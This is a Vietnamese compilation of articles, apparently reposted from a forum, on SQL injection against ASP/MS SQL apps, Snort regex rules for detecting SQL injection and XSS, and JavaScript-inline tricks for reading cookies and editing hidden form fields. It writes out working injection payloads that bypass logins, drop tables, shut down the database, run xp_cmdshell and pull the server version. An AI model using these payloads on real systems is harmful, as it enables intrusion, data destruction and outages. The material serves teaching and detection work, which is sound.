- Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất phát từ việc thay thế một giá trị
được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn
giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
p_lngID = CLng(Request("ID"))
Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗingay lập tức.
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ
các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Cuối cùng, để giới hạn mức độ của SQL Injection attack, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ
liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh
dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
Các tài liệu tham khảo
SQL Injection FAQ:http://www.sqlsecurity.com/DesktopDefault....index=2&tabid=3
Advanced SQL Injection :http://www.nextgenss.com/papers/advanced_sql_injection.pdf
Preventing SQL Injection:http://www.owasp.org/asac/input_validation/sql.shtml
Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator. Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về hoá đơn mua hàng , chi tíêt hàng hoá...Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả.
Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn. Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là do...chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).
SQL Injection là gì ?
Ngày nay các ứng dụng SQL ngày càng trở nên thân thiện hơn và dễ sử dụng hơn. Nhưng theo qui tắc bảo mật, cái gì càng dễ sử dụng và càng nhiều tính năng thì càng dễ bị tấn công và điều này hoàn toàn đúng với 1 số phiên bản của ngôn ngữ SQL mà tôi sẽ mô tả sau đây bằng 2 công nghệ thông dụng nhất hiện nay , ngôn ngữ ASP và Ms.SQL server.
Như bạn đã biết, ngôn ngữ SQL (Structured Query Language) thông thường là sự kết hợp của những lệnh như SELECT , UPDATE hay INSERT... Như với SELECT, sau mỗi lệnh là sự trả về 1 số data cần thiết, vd như
SQL
SELECT * FROM Users WHERE userName = 'justin';
Định nghĩa
SQL
WHERE userName = 'justin'
có nghĩa rằng chúng ta múôn biết tất cả các thông tin về username có tên là justin. Bởi vì ngôn ngữ SQL gần với câu nói tự nhiên , dễ hiểu như vậy nên nó đã nhanh chóng được tiếp nhận và nó cũng mở ra cơ hội cho việc khai thác lỗi SQL Injection bằng cách "nói thêm".
Bằng cách chèn thêm 1 vài dòng vào , hackers có thể gây ra sự nhầm lẫn của server và thực hiện 1 ý đồ khác ngoài mục tiêu của chương trình. Hãy xem xét ví dụ sau:
Thông thường , để kiểm tra đăng nhập 1 user, đa số website sẽ cung cấp 1 form như sau:
SQL
<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>
Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính user này. Chúng ta có thể tạo 1 files login.asp như sau:
SQL
<%
dim userName, password, query
dim conn, rS
userName = Request.Form("userName")
password = Request.Form("password")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select * from users where userName='" &
userName & "' and userPass='" & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if
%>
Và sau đó , hãy tạo 1 database mẫu như sau:
SQL
create database myDB
go
use myDB
go
create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('fsmith', 'mypassword')
Nào , bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ như thế này:
SQL
select count(*) from users where userName='john' and userPass='doe'
Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form như thế này:
SQL
User:john
password:' or 1=1 --
Câu query trở thành
SQL
select * from users where userName='john' and userPass='' or 1=1 --'
Ms.SQL qui định tất cả những gì theo sau "--" đều là câu chú thích (Giống như dấu // trong C++) , do đó câu query bây giờ sẽ:
1. Kiểm tra xem có username là john hay không ? --> Có
2. Kiểm tra xem 1 = 1 đúng hay không ? --> Đúng
3. Sau -- là chú thích , không quan tâm. --> Đúng
Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một cách dễ dàng mà không cần biết password của anh ta. 2 dấu -- để ở cuối câu SQL dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu SQL chính thức.
Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ "chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào:
SQL
Username: ' or 1=1 ---
Password: [Bất cứ cái gì]
Câu SQL trở thành
SQL
select * from users where userName='' or 1=1
--' and userPass='
Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển website.
Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cáchkhắc phục , nhưng trước hết chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection
Ví dụ 1:
Microsoft SQL phát triển riêng cho mình 1 cách viết lệnh SQL mới , còn gọi là Transact SQL, hay TSQL. Tôi sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hãy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử tôi nhập vào :
SQL
Username: ' having 1=1 ---
Password: [Anything]
Câu SQL trở thành
SQL
select userName from users where userName='' having 1=1
Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
SQL
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16
Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗiSQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE :
SQL
Username: ' or users.userName like 'a%' ---
Password: [Anything]
và câu SQL trở thành
SQL
select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin
Logged In As admin
Ví dụ 2:
Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như
select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này ,ta hãy làm như sau:
SQL
Username: ' or 1=1; drop table users; --
Password: [Anything]
Và ...phù, toàn bộ dữ liệu về users của website biến mất.
Ví dụ 3:
Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers....
Nào bây giờ chúng ta hãy nhập vào:
SQL
Username: '; shutdown with nowait; --
Password: [Anything]
Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành
SQL
select userName from users where userName='';
shutdown with nowait; --' and userPass=''
Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đã bị dừng và khởi động nó lại bằng tay.
SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command... Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào:
SQL
Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]
Câu lệnh SQL trở thành
SQL
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''
Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!!
Ví dụ 4:
Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường khi vào những website thương mại , bạn thường thấy URL có dạng như sau:
SQL
www.mysite.com/products.asp?productId=2
Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là
Select prodName from products where id = 2
Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp như sau
SQL
<%
dim prodId
prodId = Request.QueryString("productId")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select prodName from products where id = " & prodId
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>
Sau đó chúng ta nhập vào dòng URL của Browser
SQL
='http://www.mysite.com/products.asp?productId=0%20having%201=1' target='_blank'>http://www.mysite.com/products.asp?product...%20having%201=1
Ngay lập tức, trình duyệt sẽ báo lỗi như sau
SQL
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/products.asp, line 13
Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào
SQL
='http://www.mysite.com/products.asp?productId=0;insert%20into%20products' target='_blank'>http://www.mysite.com/products.asp?product...into%20products
(prodName)%20values(left(@@version,50))
Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại
SQL ='http://www.mysite.com/products.asp?productId=(select%20max(id)' target='_blank'>http://www.mysite.com/products.asp?product...elect%20max(id)
%20from%20products)
Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấncông và chiếm toàn quyền điều khiển server.
1. Giới thiệu
Trong vài năm trở lại đây, những cách tấn công vào tầng Ứng dụngweb đã làm tăng sự chú ý các chuyên gia bảo mật. Bởi vì bất kể firewall của bạn được config tốt thế nào, hay những bản vá lỗi chắc chắn cỡ nào, nếu người thiêt kế web không tuân theo những quy luật an toàn trong việc viết mã nguồn, thì hacker có thể đi ngay vào trong hệ thống của bạn qua port 80.
Hai cách tấn công chính qua port 80 được dùng rộng rãi nhất là SQL injection[1] và Cross Site Scripting[2]. SQL injection là kỹ thuật chèn thêm những ký tự meta và các câu lện vào những form nhập dữ liệu trong website để điều khiển sự hoạt động của các câu truy vấn SQL đầu cuối ( nằm ở fía server ). Các cách tấn công này chủ yếu nhắm trực tiếp vào webserver của những công ty, tổ chức khác. Tấn côngXSS thì được thực hiện theo phương cách nhúng các scripts vào URLs và dụ users click vào chúng để bảo đảm những JScript độc hoại được thực thi trên máy của victim. Những pp tấn công này khai thác sự tin tưởng ( trust ) giữa user và server cùng với một điều là webserver không có biện pháp kiểm tra input/output để loại bỏ các ký tự thuộc Javascript.
Bài viết này đề cập cách phát hiện các tấn công SQL injection vàXSS đối với hệ thống của bạn. Tuy đã có rất nhiều bài viết về 2 cáchtấn công dựa trên nền ứng dụng web này: làm sao để tấn công, ảnh hưởng, và làm thế nào để ngăn ngừa bằng cách viết mã nguồn an toàn hơn, nhưng thật sự chưa có nhiều bài viết về cách để phát hiện những cuộc tấn công như thế. Ta sử dụng một phần mềm phát hiện xâm nhập mã nguồn mở ( IDS: instrusion detection system ) Snort[3] cùng với cách thiết lập những quy định cho chúng để phát hiện 2 cách tấncông trên. Ban đầu, mặc định trong Snort mang dấu hiệu để nhận biếtXSS, nhưng điều này có thể bị xâm nhập dễ dàng. Thí dụ như do Snort ngăn chặn việc dùng tag <script> nên ta có thể sử dụng các giá trị hex tương đương ( trong bảng ASCII ) như là %3C%73%63%72%69%70%74%3E thay vì <script>.
Chúng tôi đã thiết lập nhiều bảng qui định cho firewall để phát hiện những tấn công như thế, tuỳ thuộc vào mức độ quan tâm về bảo mật của công ty. Nếu bạn muốn hệ thống fw của mình fát hiện tất cả mọi khả năng xảy ra SQL injection, chỉ đơn giản là nên kiểm tra xem có các ký tự meta của SQL như dấu ' , dấu ; hay dấu --. Tương tự, một cách để kiểm tra tấn công bằng XSS là tìm dấu , dấu này cho thấy một thẻ HTML. Nhưng thường thì những cách này dễ dẫn tới hiểu lầm về tình trạng an toàn của mình. Để tránh điều đó, các dấu hiệu cần được bổ sung cho chinh xác hơn.
Mỗi dấu hiệu như vậy có thể được dùng cùng với hoặc độc lập với những từ khác trong bảng quy định của Snort bằng cách dùng keyword pcre[4]. Các dấu hiệu này cũng có thể được dùng với 1 côngcụ như grep để kiếm trong logfile của webserver [lệnh grep của linux dùng kiếm 1 entry nào đó trong filename giống với các thông số enter] . Nhưng cần cảnh giác là input của user chỉ được ghi vào log file của server nếu các ứng dụng web dùng GET. Các dữ liệu dùng POST thì không được lưu lại trong log của webserver.
2. Các quy luật cho fw dùng phát hiện SQL injection
Một điểm quan trọng cần lưu ý trong khi thiết lập các quy định để phát hiện SQL injection là một hacker có thể chèn thêm lệnh SQL vào trong các input được lấy từ 1 form, cũng như là lấy từ 1 trường nào đó của cookie ( nd:SQL có thể xảy ra với trường phpsessionid trong cookie ). Vì vậy biện pháp kiểm tra input của bạn cần áp dụng lên tất cả những input nào bắt nguồn từ user, bất kể là một form trên website hay thông tin trong cookie. Và nếu như bạn phát hiện quá nhiều alert từ bảng quy định của firewall đối với việc kiểm tra dấu ' hoặc ", thì những thông báo đó có thể do một trong những ký tự hợp lệ trong cookie được tạo ra bởi ứng dụng web của bạn. [cookie có thể có nhiều ký tự như ', " và những ký tự này làm firewall của bạn báo động, nên cần kiểm tra xem nguồn báo động đến từ đâu]
Như đề cập ở trên, một trong những cách thiết lập để phát hiện SQL injection là việc tìm kiếm những ký tự meta đặc biệt của SQL như dấu ', dấu -- ... Để phát hiện những giá trị này và giá trị hex tương đương của chúng, những cách sau có thể được dùng:
2.1 Regex (regular expression) for detection of SQL meta-characters
Quy luật phát hiện ký tự meta của SQL
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
Giải thích:
Đầu tiên ta tìm những giá trị hex tương đương của dấu ', hoặc bản thân dấu ' hay sự hiện diện của dấu -- , đây là ký tự SQL dùng cho MS SQL server và Oracle server, để bắt đầu cho một câu chú thích, và tất cả những gì đi sau nó sẽ bị bỏ đi. Thêm vào đó, nêu bạn dùng MySQL, cần kiểm tra sự hiện diện của dấu # hoặc giá trị hex tương đương của chúng. Nên lưu ý là chúng ta không cần kiểm tra giá trị hex tương đương của dấu --, bởi vì nó không phải là một ký tự meta của HTML và sẽ không bị encode bởi trình duyệt. Nếu một hacker tự bổ sung dấu -- thành giá trị hex %2D ( dùng 1 proxy như Achilles[5]),tấn công SQL vẫn thất bại.
Cách thiết lập như trên có thể được thêm vào bảng cấu hình Snort như sau:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)
Trong trường hợp này, URL có giá trị .pl thay vì asp bởi vì trong khi test, các script được viết bằng Perl. Tuỳ vào mỗi ứng dụng, giá trị này có thể là ".php" hay ".asp" hay ".jsp"... Kể từ đây trở đi, chúng tôi chỉ đề cập tới những quy định để thiết lập rule cho Snort, nhưng không đề cập tới bảng rule của Snort đã được thiết lập đầy đủ. Từ những quy định này, bạn có thể tạo ra nhiều rule cho Snort hơn để phù hợp.
Trong câu lệnh ở trên, ta dùng phát hiện dấu -- bởi vì đôi khi có những trường hợp SQL được thực hiện mà không cần dấu ' [6]. Thí dụ như nêu 1 câu truy vấn SQL có chứa mệnh đề WHERE với hoàn toàn là các giá trị số, như là
Select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
Trong trường hợp này, hacker có thể thực thi 1 câu lệnh SQL nữa, bằng cách thêm vào dòng
3; insert values into some_other_table
Cuối cùng, các biến pcre như 'i' và 'x' được dùng để kiểm tra các trường hợp phân biệt chữ hoa/thường và bỏ đi khoảng trắng (Space) trong firewall rule.
Bảng quy định fw trên có thể được mở rông để phát hiện sự xuất hiện của dấu ; . Mcặ dù vậy, dấu ';' cũng có khả năng xuất hiện trong những lệnh HTTP bình thường. Để làm giảm khả năng báo động sai về sự xuất hiện của dấu ' và " trong đoạn lệnh http bình thường, bảng quy định fw trên có thể bổ sung để trước hết là phát hiện sự xuất hiện của dấu '='. Input của user thường dưới dạng GET hay POST, trong đó các field input sẽ là:
username=some_user_supplied_value&password=some_user_supplied_value
Vì vậy, mọi tấn công kiểu SQL sẽ dẫn tới kết quả thêm vào input của user một dấu =, hay giá trị hex tương đương.
2.2 Bổ sung bảng quy luật để phát hiện các ký tự meta của SQL
/((\%3D)|( [^\n]*((\%27)|(\')|(\-\-)|(\%3B)|()/i
Giải thích:
Bảng dấu hiệu này của fw đầu tiên tìm sự xuất hiện của dấu '=' hay giá trị hex tương đương của nó. Nó cho phép các ký tự không-phải-newline và tiếp tục kiểm tra dấu ' , dấu " hoặc dấu ;
Thông thường các nỗ lực tấn công bằng SQL injection liên quan tới việc sử dụng dấu ' để điều khiển câu truy vấn ban đầu, làm cho nó luôn trả lại giá trị TRUE. Hầu hết các thảo luận về tấn công kiểu này bằng cách dùng chuỗi 1' or '1'=1 . Mặc dù vậy, việc phát hiện ra chuỗi này có thể bị dễ dàng vượt qua bằng những chuỗi tương đương như 1' or 2>1--. Vì vậy phần duy nhất không đổi chính là giá trị số đầu tiên, được theo sau bởi một dấu ' ( 1' ) và chữ OR. Câu lệnh logic theo sau đó có thể thay đổi tuỳ hoặc theo hướng rất khó xác định hoặc khó đề cập đầy đủ các khả năng. Vì vậy xác định những tấn công theo cách này chỉ dừng lại ở một mức nhất định, bằng cách thiết lập fw table như trong fần kế tiếp.
2.3 Quy luật phát hiện các SQL injection thông thươ
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
Giải thích
\w* - các ký tự chữ hoặc dấu '_'
(\%27)|\' - dấu '-' hoặc giá trị hex tương đương (%27)
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - chữ OR hoặc những kết hợp như Or, oR, OR hoặc giá trị hex tương đương.
Việc dùng câu truy vấn UNION cũng thông dụng trong tấn công SQL. Những bảng quy định ở trên chỉ dùng để phát hiện dấu ' hay những ký tự meta khác đôi khi tạo ra nhiều báo động sai, bạn có thể bổ sung vào 1 dòng để check chữ UNION hoặc mở rộng cho những keyword khác như SELECT, INSERT, UPDATE ... như dưới đây
2.4 Quy luật phát hiện SQL inj dùng UNION
/((\%27)|(\'))union/ix
Giải thích
(\%27)|(\') - dấu ' và giá trị hex của nó
union - check tìm keyword UNION
Tương tự ta có thể làm đối với các keyword khác như select, update, ...
Cho tới lúc này, nếu hacker đã fát hiện ra ứng dụng web bị lỗi SQL injection, hacker sẽ tìm cách khai thác. Và nếu hacker biết rằng database được chạy trên là MS SQL, thông thường sẽ thử chạy những thủ tục có sẵn nguy hiểm. Các thủ tục này bắt đầu bởi 'sp' hay 'xp'. Câu lệnh xp_cmdshell cho phép thực hiện các lệnh shell của windows thông qua SQL server. Quyền thực thi các câu lệnh này sẽ là quyền của account SQL server đối với win, thông thường là quyền Local System ( k0 bị giới hạn ). Ngoài ra, hacker có thể thay đổi registry bằng cách dùng các câu lệnh xp_regread, xp_regwrite ...
2.5 Quy luật để phát hiện SQL injection trên 1 MS SQL server
/exec(\s|\+)+(s|x)p\w+/ix
Giải thích:
exec - keyword cần để gọi các thủ tục lưu sẵn.
(\s|\+)+ - một hay nhiều khoảng trống (spaces) hay giá trị hex tương đương
(s|x)p - ký tự 'sp' hay 'xp'
3. Các quy luật phát hiện tấn công dùng XSS
Khi thực hiện tấn công XSS, hay khi test 1 website xem có mắc lỗiXSS, đầu tiên hacker có thể dùng các thẻ HTML như <b>, <i> hay <u>. Ngoài ra, hacker cũng có thể thử 1 script như là <script>("OK")</script>. Những pp này rất dễ bị phát hiện. Một hacker có trình độ hơn sẽ thay toàn bộ chuỗi trên bằng các giá trị hex tương đương của chúng, thí dụ như thẻ <script> sẽ xuất hiện như là %3C%73%63%72%69%70%74%3E. Mặt khắc, hacker có thể dùng 1 ứng dụng web proxy như Achilles với chức năng tự động thay thế các ký tự đặc biệt, như là < thành %3C hay > thành %3E. Khi đó URL của webproxy sẽ chứa dấu thay vì các giá trị hex tương đương của chúng.
[Translator note: you should rest here then continue, as i did ]
Câu quy định sau sẽ kiểm tra những kiểu tấn công có thể chứa các thẻ mở và đóng và mọi text chứa trong đó. Regex sau phân biệt chữ hoa/thường và sẽ ngăn chặn những ý định dùng các thẻ như <b>, <u> hay <script>. Ta cũng cần fải kiểm tra sự hiện diện của những dấu ngoặc nhọn ( < > ) và giá trị hex của chung. Để phát hiện pp tấn côngthông quá cách biến giá trị hex của toàn chuỗi tấn công thành ký tự, cần kiểm tra sự xuất hiện của các số, và dấu % trong input của user. Điều này đôi khi cũng gây nên báo động giả, nhưng hầu hết trong mọi trường hợp sẽ phát hiện những cuộc tấn công thật sự.
3.1 Quy luật phát hiện tấn công XSS dạng đơn giản
/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/ix
Giải thích:
((\%3C)|<) - kiểm tra sự xuất hiện của dấu ngoặc mở ( < )
((\%2F)|\/)* - kiểm tra dấu / trong thẻ dùng để đóng( như </script> )
[a-z0-9\%]+ - kiểm tra ký tự nằm trong thẻ, và các giá trị hex của chúng
((\%3E)|>) - kiểm tra dấu ngoặc đóng ( > )
Thí dụ 1 rule cho Snort để detect như sau:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII Cross-site scripting attempt"; flow:to_server,established; pcre:"/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i"; classtype:Web-application-attack; sid:9000; rev:5;)
XSS cũng có thể thực hiện bằng cách dùng thẻ <img src=>. Cấu hình mặc định của Snort sẽ để lọt lỗi này, chúng ta config lại như sau:
3.2 Quy luật phát hiện "<img src" trong tấn công XSS
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|>)/I
Giải thích:
(\%3C)|<) kiểm tra dấu ngoặc mở hoặc giá trị hex tương đương
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) kiểm tra sự xuất hiện của 'img' bên trong thẻ html, bao gồm kết hợp chữ hoa/thường hoặc giá trị hex
[^\n]+ kiểm tra tất cả những ký tự không fải là tab new-line \n đi theo sau <img
(\%3E)|>) kiểm tra dấu ngoặc đóng.
3.3 Paranoid regex for CSS attacks
/((\%3C)|<)[^\n]+((\%3E)|>)/I
Giải thích:
Config kiểu này đơn giản chỉ kiểm tra các thẻ HTML mở, và giá trị hex tương ứng, theo sau là một hay nhiều ký tự không phải ký tự newline ( \n ), sau đó là thẻ đóng html hay giá trị hex tương đương. Điều này đôi khi tạo nên báo động sai tuỳ thuộc vào cấu trúc của ứng dụng webvà webserver, nhưng nó cũng bảo đảm sẽ ngăn chặn tất cả những gì được coi là một tấn công XSS từ xa.
Cuối cùng, 1 tài liệu rất tốt để tham khảo về các loại tấn công XSS có thể vượt qua quy luật của fw có thể được tìm thấy tạihttp://www.securityfocus.com/archive/1/272037. Mặc dù vậy, quy luật cuối cùng nếu được thiết lập cho fw, sẽ ngăn chặn tất cả các cáchtấn công này.
4. Kết thúc:
In this article, we've presented different types of regular expression signatures that can be used to detect SQL Injection and Cross Site Scripting attacks. Some of the signatures are simple yet paranoid, in that they will raise an alert even if there is a hint of an attack. But there is also the possibility that these paranoid signatures may result in false positives. To take care of this, we've then modified the simple signatures with additional pattern checks so that they are more accurate. We recommend that these signatures be taken as a starting point for tuning your IDS or log analysis methods, in the detection of these Web application layer attacks. After a few modifications, and after taking into account the non-malicious traffic that occurs as part of your normal Web transactions, you should be able to accurately detect these attacks.
Trong bài này, chúng tôi trình bài nhiều kiểu regex ( nôm na là quy luật cho fw ) có thể được dùng để phát hiện SQL injection và XSS. Một số quy luật là quá thận trọng, sẽ báo động ngay chỉ với một tín hiệu nhỏ của khả năng bị tấn công. Nhưng cũng có khả năng những quy luật này tạo nên những tình trạng an toàn giả tạo. Để khắc phục, chung tôi bổ sung những quy luật đơn giản bằng cách kiểm tra những tình huống thường gặp để trở nên chính xác hơn. Chúng tôi khuyến khích việc lấy những quy định này làm điểm khởi đầu cho các pp phân tích hệ thống IDS hay log của bạn. Chỉ cần một vài sự bổ sung và nghiên cứu về những luồng http không độc hại trong ứng dụng web của bạn, bạn đã có thể phát hiện chính xác những tấn công kiểu trên.
trích từ pc của hero_zero
-3. Hacker web bang java script-line
cách đây vài tháng , mình là nguời newbie và( giờ cũng thía) , mình thấy rất nhiều diễn đàn nói về những đoạn java-inline , mình không hiểu tại sao và làm cách nào , hôm nay mình đã search 1 bài rất hay của anh vkđt7799@yahoo.com , mình mong nhiều bạn sẽ hiểu nó hơn , chắc chắn nhiều người biết cái này rồi , nhưng nhiều bạn chưa biết ( các cao thủ rõ hơn nhiều)
Đây là bài hoàn chỉnh và phần ứng dụng với Forum Vietboard 2.5 , 2.6
-**********-------**********---------**************************
Với kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay Mozilla, ...
Cơ bản về JavaScript-Inline
Đa số các trình duyệt web đều hổ trợ JavaScript-Inline. Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:
Để xem giá trị hiện tại của cookie, bạn gõ javascript:alert(document.cookie)
Hoặc để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn gõ javascript:void(document.forms[0].hiddenid.value="2")
Một số đối tượng thông dụng khi thao tác với JavaScript-Inline là:
document.cookie - chứa giá trị của cookie
document.forms[0].FieldName.value - lấy giá trị của trường trong form
document.forms[0].SelectName.options[0].value - giá trị của trường selection trong form
( Xem hướng dẫn về JavaScript tại trang web này )
Một vài ví dụ về hack web bằng JavaScript-Inline
http://scifi.pages.at/hackits/stufe4code.htm
Mã nguồn HTML có đoạn như sau:
...
var a=unescape("%43%4f%44%45%5a");
function check()
{
if (document.a.c.value == a)
{
document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";
}
else
{
alert ("wrong! - letter size?");
}
}
}
...
Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau: javascript:alert(unescape(a)) để lấy password của level tiếp theo ("CODEZ")
http://www.hackthissite.org/missions/mission8/
